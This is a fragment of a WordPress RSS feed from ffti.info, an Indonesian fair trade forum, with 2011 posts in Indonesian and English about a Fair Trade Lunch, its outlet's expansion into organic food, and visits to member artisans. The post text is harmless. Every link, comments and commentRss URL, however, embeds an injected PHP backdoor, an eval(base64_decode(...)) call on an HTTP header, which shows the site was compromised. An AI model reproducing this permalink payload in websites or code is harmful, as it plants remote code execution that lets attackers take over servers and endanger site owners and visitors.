<p class="MsoNormal" style="text-align: justify;"><img class="aligncenter size-medium wp-image-393" title="ft-lunch-11agustus2011_1" src="http://ffti.info/wp-content/uploads/2011/08/ft-lunch-11agustus2011_1-300x225.jpg" alt="ft-lunch-11agustus2011_1" width="300" height="225" /></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;">Dua hari berikutnya, tanggal 11 Agustus 2011, FFTI mengadakan Fair Trade Lunch bersama Janet de Neefe. Acara rutin FFTI ini mengundang beberapa komunitas, diantaranya kelompok Ibu-ibu PKK, LSM,media, pencinta kuliner, koki, dan beberapa instansi pemerintah. Janet de Neefe adalah pendiri 3 restauran di Ubud, yaitu Casa luna, Indus, dan Bar Luna. Dia menulis buku mengenai Resep Masakan Bali yang saat ini sudah dicetak di Cina dan akan diterbitkan di Australia. Salah satu pelajaran yang dapat diambil yaitu mengenai kekuatan makanan, dimana ada keterkaitan antara makanan dan identitas sebuah daerah/.negara. Para undangan yang hadir juga memberikan banyak komentar dan masukan yang bagus, sehingga membuat diskusi sangat menarik dan interaktif. </span></p>
<p><img class="aligncenter size-medium wp-image-394" title="ft-lunch_2" src="http://ffti.info/wp-content/uploads/2011/08/ft-lunch_2-300x225.jpg" alt="ft-lunch_2" width="300" height="225" /></p>
]]></content:encoded>
			<wfw:commentRss>http://ffti.info/2011/08/22/ffti-update-agustus-2011/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title></title>
		<link>http://ffti.info/2011/07/29/381/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://ffti.info/2011/07/29/381/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 29 Jul 2011 06:59:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ffti.info/?p=381</guid>
		<description><![CDATA[Pada bulan Juni – Juli 2011, FFTI memfokuskan kegiatan pada pengembangan fair trade outlet dan peningkatan kapasitas anggota. 


Dari awal didirikan pada tahun 2008, Fair Trade Outlet mendisplay produk member FFTI yang sebagian besar adalah kerajinan (craft). Hanya 1 member yang memiliki produk makanan, seperti beras, tea,dan herbal.  Pertengahan tahun 2010, FFTI mulai bekerja [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN">Pada bulan Juni – Juli 2011, FFTI memfokuskan kegiatan pada pengembangan fair trade outlet dan peningkatan kapasitas anggota. </span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN"><img class="aligncenter size-medium wp-image-379" title="fairtradeoutlet13" src="http://ffti.info/wp-content/uploads/2011/07/fairtradeoutlet13-300x225.jpg" alt="fairtradeoutlet13" width="300" height="225" /><br />
</span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN">Dari awal didirikan pada tahun 2008, Fair Trade Outlet mendisplay produk member FFTI yang sebagian besar adalah kerajinan (craft). Hanya 1 member yang memiliki produk makanan, seperti beras, tea,dan herbal. <span> </span>Pertengahan tahun 2010, FFTI mulai bekerja sama dengan NGO di Bali yang memiliki unit bisnis, khususnya makanan. Kami membantu mereka memasarkan produk di fair trade outlet. Awal Juni 2011, kami mengembangkan kerja sama dengan Consumer Awareness (CA) Bali yang membentuk sebuah organic outlet. Mereka bergabung dengan fair trade outlet. Produk yang mereka tawarkan adalah sayur organic, beras organic, dan makanan organic lainnya. Tentu saja ini menambah variasi produk yang ada di fair trade outlet. </span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN"><img class="aligncenter size-medium wp-image-380" title="fairtradeoutlet41" src="http://ffti.info/wp-content/uploads/2011/07/fairtradeoutlet41-300x225.jpg" alt="fairtradeoutlet41" width="300" height="225" /></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN"><img class="aligncenter size-medium wp-image-382" title="fairtradeoutlet33" src="http://ffti.info/wp-content/uploads/2011/07/fairtradeoutlet33-225x300.jpg" alt="fairtradeoutlet33" width="225" height="300" /><br />
</span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN">Dampak dari bertambahnya variasi produk adalah meningkatnya kunjungan ke outlet. Sebagian dari mereka adalah pelanggan outlet organic. Ini juga berdampak pada meningkatnya penjualan di outlet. Ke depannya, kami akan mengganti nama fair trade outlet menjadi fair trade shop, dan meningkatkan promosi di media. Tujuan kampanye di media adalah mensosialisasikan produk fair trade. Dengan semakin banyak orang yang tahu dan membeli mengenai produk fair trade, maka akan lebih banyak perajin, petani, nelayan yang terbantu. </span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN"><img class="aligncenter size-medium wp-image-383" title="buton-womens-weaver-22" src="http://ffti.info/wp-content/uploads/2011/07/buton-womens-weaver-22-225x300.jpg" alt="buton-womens-weaver-22" width="225" height="300" /><br />
</span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN">Kegiatan berikutnya di bulan Juni adalah pengembangan kapasitas member dan penguatan jaringan member FFTI, dengan mengunjungi member. Kali ini member yang dikunjungi adalah Lombok Pottery Centre dan JPKP Buton (Jaringan Pengembang Kawasan Pesisir Buton). Sebelumnya di Bulan Mei, kami juga telah mengunjungi perajin Mitra Bali dan Arum Dalu Mekar. Dari kunjungan ini kami tim FFTI mendapat banyak input dari anggota, diantaranya perlunya pelatihan mengenai trend desain untuk LPC; pengembangan produk dan pengenalan bisnis untuk JPKP Buton. Pelajaran lain yang didapat dari kunjungan ke masing-masing member ini adalah, kami melihat langsung perajin / petani yang memproduksi kerajinan gerabah di Lombok, perajin tenun dan petani mete organic di Buton. Mereka semua berharap produk mereka bisa lebih dikenal melalui fair trade outlet, sehingga bisa membantu perekonomian mereka. Selain itu, kami bisa menuliskan story of artisan dilengkapi dengan foto yang akan kami pajang di outlet. Tentunya ini akan memberi value added pada produk fair trade yang bersangkutan. <span> </span>Dengan demikian, kami bisa menceritakan secara langsung kepada customer yang tertarik dengan produk yang bersangkutan. </span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN"><img class="aligncenter size-medium wp-image-384" title="lombok-women-potter-12" src="http://ffti.info/wp-content/uploads/2011/07/lombok-women-potter-12-225x300.jpg" alt="lombok-women-potter-12" width="225" height="300" /></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN"><img class="aligncenter size-medium wp-image-385" title="organic-cashew-nuts-farmer-group" src="http://ffti.info/wp-content/uploads/2011/07/organic-cashew-nuts-farmer-group-300x225.jpg" alt="organic-cashew-nuts-farmer-group" width="300" height="225" /><br />
</span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN">Dalam jangka waktu Juni – Juli 2011, FFTI juga mendapat kunjungan dari beberapa organisasi. FFTI (termasuk Fair Trade Outlet) dinilai sebagai sebuah tempat “studi banding” bagi NGO dan beberapa komunitas sebagai sebuah perpaduan bisnis dan sosial. Mereka ingin mengembangkan hal yang sama di tempat dampingan mereka. Sebuah kebanggaan bagi kami dijadikan contoh, dan semoga ini bisa menjadi pemicu bagi kami untuk terus melakukan peningkatan. Beberapa komunitas yang berkunjung antara lain : Oxfam Australia’s partner (saat mereka mengadakan Oxfam Australia Partner Meeting); Badan Usaha Milik Desa Tabarano,Makassar.</span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN"> </span></p>
]]></content:encoded>
			<wfw:commentRss>http://ffti.info/2011/07/29/381/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title></title>
		<link>http://ffti.info/2011/07/29/372/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://ffti.info/2011/07/29/372/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 29 Jul 2011 06:08:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ffti.info/?p=372</guid>
		<description><![CDATA[
In June-July 2011, FFTI focused its activities on the development of fair trade outlets and increasing the capacity of members.
Fair Trade Outlet continues to display mostly craft products. Our members are mostly focused on craft and only one member cultivates food products. Based on customer’s request, last year FFTI began to cooperate with NGOs in [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal"><img class="alignleft size-medium wp-image-370" title="fairtradeoutlet12" src="http://ffti.info/wp-content/uploads/2011/07/fairtradeoutlet12-300x225.jpg" alt="fairtradeoutlet12" width="300" height="225" /></p>
<p class="MsoNormal"><span style="font-size: 11pt; font-family: Arial;">In June-July 2011, FFTI focused its activities on the development of fair trade outlets and increasing the capacity of members.</span></p>
<p class="MsoNormal" style="text-align: justify;"><span class="hps"><span style="font-size: 11pt; font-family: Arial;">Fair Trade</span></span><span style="font-size: 11pt; font-family: Arial;"> <span class="hps">Outlet</span> continues to <span class="hps">display</span> mostly craft <span class="hps">products</span>. Our members are mostly focused on craft and only <span class="hps">one</span> <span class="hps">member</span> <span class="hps">cultivates</span> <span class="hps">food</span> <span class="hps">products</span>. Based on customer’s request, <span class="hps">last year</span> <span class="hps">FFTI</span> <span class="hps">began to cooperate with</span> <span class="hps">NGOs</span> <span class="hps">in Bali</span> <span class="hps">that have</span> <span class="hps">business</span> <span class="hps">units</span>, <span class="hps">especially for</span> <span class="hps">food product</span>. <span class="hps">In June 2011</span>, <span class="hps">we</span> <span class="hps">agreed to partnerships with several</span> <span class="hps">NGOs</span> <span class="hps">in</span> <span class="hps">Bali</span> <span class="hps">and have</span> <span class="hps">established an</span> <span class="hps">organic</span> <span class="hps">outlet to sell their products.</span> <span class="hps">In the fair trade</span> <span class="hps">outlet</span> we offer products such as <span class="hps">organic</span> <span class="hps">vegetables</span>, <span class="hps">organic</span> <span class="hps">rice</span>, <span class="hps">and</span> <span class="hps">other</span> <span class="hps">organic</span> <span class="hps">food </span>from Java and Bali. <span class="hps">We will help</span> <span class="hps">them</span> to <span class="hps">market their</span> <span class="hps">products</span> <span class="hps">in our fair trade</span> <span class="hps">outlets</span>.</span></p>
<p class="MsoNormal" style="text-align: justify;"><span class="hps"><span style="font-size: 11pt; font-family: Arial;">This</span></span><span style="font-size: 11pt; font-family: Arial;"> joint program <span class="hps">has</span> <span class="hps">increased</span> the number of guests that <span class="hps">visit our</span> <span class="hps">outlets</span>, resulting in <span class="hps">increasing</span> <span class="hps">sales</span>. <span class="hps">Now we</span> have a plan to<span class="hps"> rename</span> “<span class="hps">fair trade</span> outlet” <span class="hps">to</span> “<span class="hps">fair trade</span> <span class="hps">shop” (emphasizing the range of fair trade products and to promote the availability of organic food). Simultaneously, we will also increase promotion</span> <span class="hps">in the media</span> with the objective of<span class="hps"> socializing</span> <span class="hps">fair trade and organic products. Through an affective advertising campaign that raises awareness of products</span> <span class="hps">and increases sales </span>we can help more <span class="hps">artisans</span>, <span class="hps">farmers</span>, and <span class="hps">fishermen</span>.</span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-size: 11pt; font-family: Arial;"><img class="aligncenter size-medium wp-image-373" title="fairtradeoutlet32" src="http://ffti.info/wp-content/uploads/2011/07/fairtradeoutlet32-225x300.jpg" alt="fairtradeoutlet32" width="225" height="300" /><br />
</span></p>
<p class="MsoNormal"><span style="font-size: 11pt; font-family: Arial;">The next activity in June was member’s visit, which was integrated into capacity building and network strengthening. We visited Lombok Pottery Centre (LPC) and JPKP Buton (Coastal Zone Resources for Buton). LPC have a beautiful pottery products and Buton also have nice products, such as material (woven), organic cashew nut (the one and only in Indonesia for now), delicious fish, seaweed, and many potential craft. From this visit we got a lot of input from members, such as the need for training in design trends for product and business development. </span></p>
<p class="MsoNormal"><span style="font-size: 11pt; font-family: Arial;"><img class="aligncenter size-medium wp-image-374" title="buton-womens-weaver-21" src="http://ffti.info/wp-content/uploads/2011/07/buton-womens-weaver-21-225x300.jpg" alt="buton-womens-weaver-21" width="225" height="300" /><br />
</span></p>
<p class="MsoNormal"><span style="font-size: 11pt; font-family: Arial;">It was interesting to see the artisan directly make the products that we displayed in Fair Trade Outlet; share with them. They hope that their products can be better known through fair trade outlets, which in turn can improve their lives. In addition, we can write the story of the artisan completed with a photograph, and will display these stories at the outlet. We believe that by making a personal connection between products and artisan it will give an added value to these items.</span></p>
<p class="MsoNormal"><span style="font-size: 11pt; font-family: Arial;"><img class="aligncenter size-medium wp-image-375" title="lombok-women-potter-11" src="http://ffti.info/wp-content/uploads/2011/07/lombok-women-potter-11-225x300.jpg" alt="lombok-women-potter-11" width="225" height="300" /><br />
</span></p>
<p class="MsoNormal" style="text-align: justify;"><span class="hps"><span style="font-size: 11pt; font-family: Arial;">In the</span></span><span style="font-size: 11pt; font-family: Arial;"> <span class="hps">period</span> <span class="hps">June- July</span> <span class="hps">2011,</span> <span class="hps">FFTI was</span> <span class="hps">also visited by</span> <span class="hps">several</span> <span class="hps">organizations</span>. They are Oxfam Australia’s partners; and Kelompok Badan Usaha Milik Desa Tabarano (Village-owners Enterprises) from Makassar.<span> </span><span class="hps">FFTI</span> <span class="hpsatn">(</span>including <span class="hps">Fair Trade</span> <span class="hps">Outlet</span>) <span class="hps">is recognized as a place that combines business and social support for NGOs and</span> <span class="hps">some communities</span>. <span class="hps">They</span> <span class="hps">want to develop</span> <span class="hps">similar models of their own, and gave us many suggestion and input too. Hopefully we can effectively cooperate with the organizations and communities in the future.</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://ffti.info/2011/07/29/372/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

